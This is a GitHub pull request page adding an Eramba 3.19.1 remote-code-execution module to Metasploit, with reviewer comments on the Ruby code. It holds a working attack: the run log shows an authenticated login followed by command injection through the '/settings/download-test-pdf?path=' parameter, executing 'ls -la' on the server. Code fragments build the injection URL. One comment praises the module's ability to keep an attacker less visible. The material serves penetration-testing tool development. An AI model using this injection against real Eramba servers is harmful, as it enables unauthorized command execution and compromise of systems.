Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Eramba Remote Code Execution Exploit #19494

Open
wants to merge 2 commits into
base: master
Choose a base branch
from

Conversation

trvnt-stefan
Copy link

This PR add a new auxiliary module to exploit a RCE vulnerability in the web application Eramba.

Verification

  1. Install the vulnerable Eramba version (3.19.1) (see Eramba Docker Install)
  2. Enable Debug mode in the Eramba web application
  3. Execute Metasploit script:
[*] Processing eramba.rc for ERB directives.
resource (eramba.rc)> use auxiliary/scanner/http/eramba_rce
resource (eramba.rc)> set RHOSTS 192.168.200.15
RHOSTS => 192.168.200.15
resource (eramba.rc)> set RPORT 8443
RPORT => 8443
resource (eramba.rc)> set USERNAME admin
USERNAME => admin
resource (eramba.rc)> set PASSWORD XXXYYYZZZ
PASSWORD => XXXYYYZZZ
resource (eramba.rc)> set COMMAND ls -la
COMMAND => ls -la
resource (eramba.rc)> run
[*] Running module against 192.168.200.15
[*] Retrieving CSRF token and session cookies...
[*] CSRF Token: uwAzmvLmg/nqp0FyMVfb8tNBZkb/zzG3Nky28Dr4/bNMAtyvDKdLqBMDzbMGyQROxZ3lQh10V1yAaR6lS35nRJyu3eFo1r4GtnBSdZv4A4YOdYXCCMuY1npnuM0+wnicJjGp0Wf5Mi/zrNV0KhVuOQ==
[*] Token Fields: c8bdd1a6b043b3dc109fe9564e2d55a26f684bd8%3A
[*] Token Unlocked: %7CmodalBreadcrumbs%7CmodalId
[*] Attempting to log in and redirect to command execution page...
[+] Login successful, redirected to command execution page.
[*] Session Cookies after cleaning: PHPSESSID=momnjit7odfjccqe4erho0j00t; translation=1;
[+] /settings/download-test-pdf?path=ls+-la;
[+] Command executed successfully. Response content:
total 88
drwxr-xr-x  9 www-data www-data  4096 Aug  7 13:59 .
drwxr-xr-x 17 www-data www-data  4096 Aug  7 13:59 ..
-rw-r--r--  1 www-data www-data   130 Oct 17  2022 .htaccess
-rw-r--r--  1 www-data www-data    11 Oct 17  2022 README.md
drwxr-xr-x  4 www-data www-data  4096 Aug  7 13:59 css
-rw-r--r--  1 www-data www-data  2529 Oct 17  2022 favicon.png
drwxr-xr-x  2 www-data www-data  4096 Aug  7 13:59 font
drwxr-xr-x  8 www-data www-data  4096 Aug  7 13:59 img
-rw-r--r--  1 www-data www-data  1387 Oct 17  2022 index.php
drwxr-xr-x 10 www-data www-data  4096 Aug  7 13:59 js
drwxr-xr-x  2 www-data www-data  4096 Aug  7 13:59 media
drwxr-xr-x  2 www-data www-data  4096 Aug  7 13:59 swagger
-rw-r--r--  1 www-data www-data    77 Oct 17  2022 test_pdf.html
-rw-r--r--  1 www-data www-data  6818 Oct 17  2022 test_pdf.pdf
drwxr-xr-x  4 www-data www-data  4096 Aug  7 13:59 tooltips
-rw-r--r--  1 www-data www-data   240 Oct 17  2022 updater_output.php
-rw-r--r--  1 www-data www-data 16901 Oct 17  2022 video-js.swf
[*] Auxiliary module execution completed

@Chocapikk
Copy link
Contributor

Hello @trvnt-stefan , is there a reason to code this as an auxiliary rather than writing this as an exploit and creating a meterpreter session?

'uri' => login_url
})

unless res && res.code == 200
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
unless res && res.code == 200
unless res&.code == 200

fail_with(Failure::UnexpectedReply, 'Failed to retrieve the login page')
end

doc = Nokogiri::HTML(res.body)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
doc = Nokogiri::HTML(res.body)
doc = res.get_html_document

}
})

if res && res.code == 302
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
if res && res.code == 302
if res&.code == 302

})

print_good(redirect_url)
if res && res.code == 500
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
if res && res.code == 500
if res&.code == 500

Comment on lines +110 to +112
command_encoded = URI.encode_www_form_component(datastore['COMMAND'].to_s)
redirect_path = "/settings/download-test-pdf?path=#{command_encoded};"
redirect_url = normalize_uri(target_uri.path, redirect_path.to_s)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
command_encoded = URI.encode_www_form_component(datastore['COMMAND'].to_s)
redirect_path = "/settings/download-test-pdf?path=#{command_encoded};"
redirect_url = normalize_uri(target_uri.path, redirect_path.to_s)
redirect_path = "/settings/download-test-pdf?path=#{URI.encode_www_form_component(datastore['COMMAND'])};"
redirect_url = normalize_uri(target_uri.path, redirect_path)

@Chocapikk
Copy link
Contributor

@trvnt-stefan

When adding a module to Metasploit, it's essential to also include the corresponding documentation. This helps other users and developers understand how to use and test the module. Please refer to the following guide to learn how to write module documentation: https://docs.metasploit.com/docs/development/quality/writing-module-documentation.html

OptString.new('TARGETURI', [ true, 'The base path to Eramba', '/']),
OptString.new('USERNAME', [ true, 'The username to authenticate with']),
OptString.new('PASSWORD', [ true, 'The password to authenticate with']),
OptString.new('COMMAND', [ true, 'The command to execute', 'whoami']),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This should really be an exploit module delivering an ARCH_CMD payload. That would allow the user to open a session and start a handler automatically. We also have generic command payloads if the user wants full control over the command and need to, for example, execute whoami.

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We are considering developing an Exploit module in addition to the Auxiliary one. Please see my comment below for the reasons why.

Copy link

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

@ssmmkkxxzz
Copy link

ssmmkkxxzz commented Oct 2, 2024

Hello @trvnt-stefan , is there a reason to code this as an auxiliary rather than writing this as an exploit and creating a meterpreter session?

Yes, we see the following advantages in providing separate modules for all RCE vulnerabilities, one under Auxiliary and one under Exploit. Firstly, the pure RCE provides more opportunities for an attacker to remain less visible; secondly, the FW rules on the victim side can prevent outbound connections; also, the environments can be configured completely differently, which we have already experienced in the production and test environments.
We can therefore consider developing an Exploit module in addition to the Auxiliary one.

@Chocapikk
Copy link
Contributor

Hello @ssmmkkxxzz, if I'm not mistaken, you can actually run system commands directly from the exploit module using a custom payload. For example, you can set cmd/unix/generic as the payload and define the command like this:

set payload cmd/unix/generic
set CMD "whoami"

This way, the command will be executed without needing an auxiliary module or a reverse shell. It's simpler and keeps everything within the exploit.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

4 participants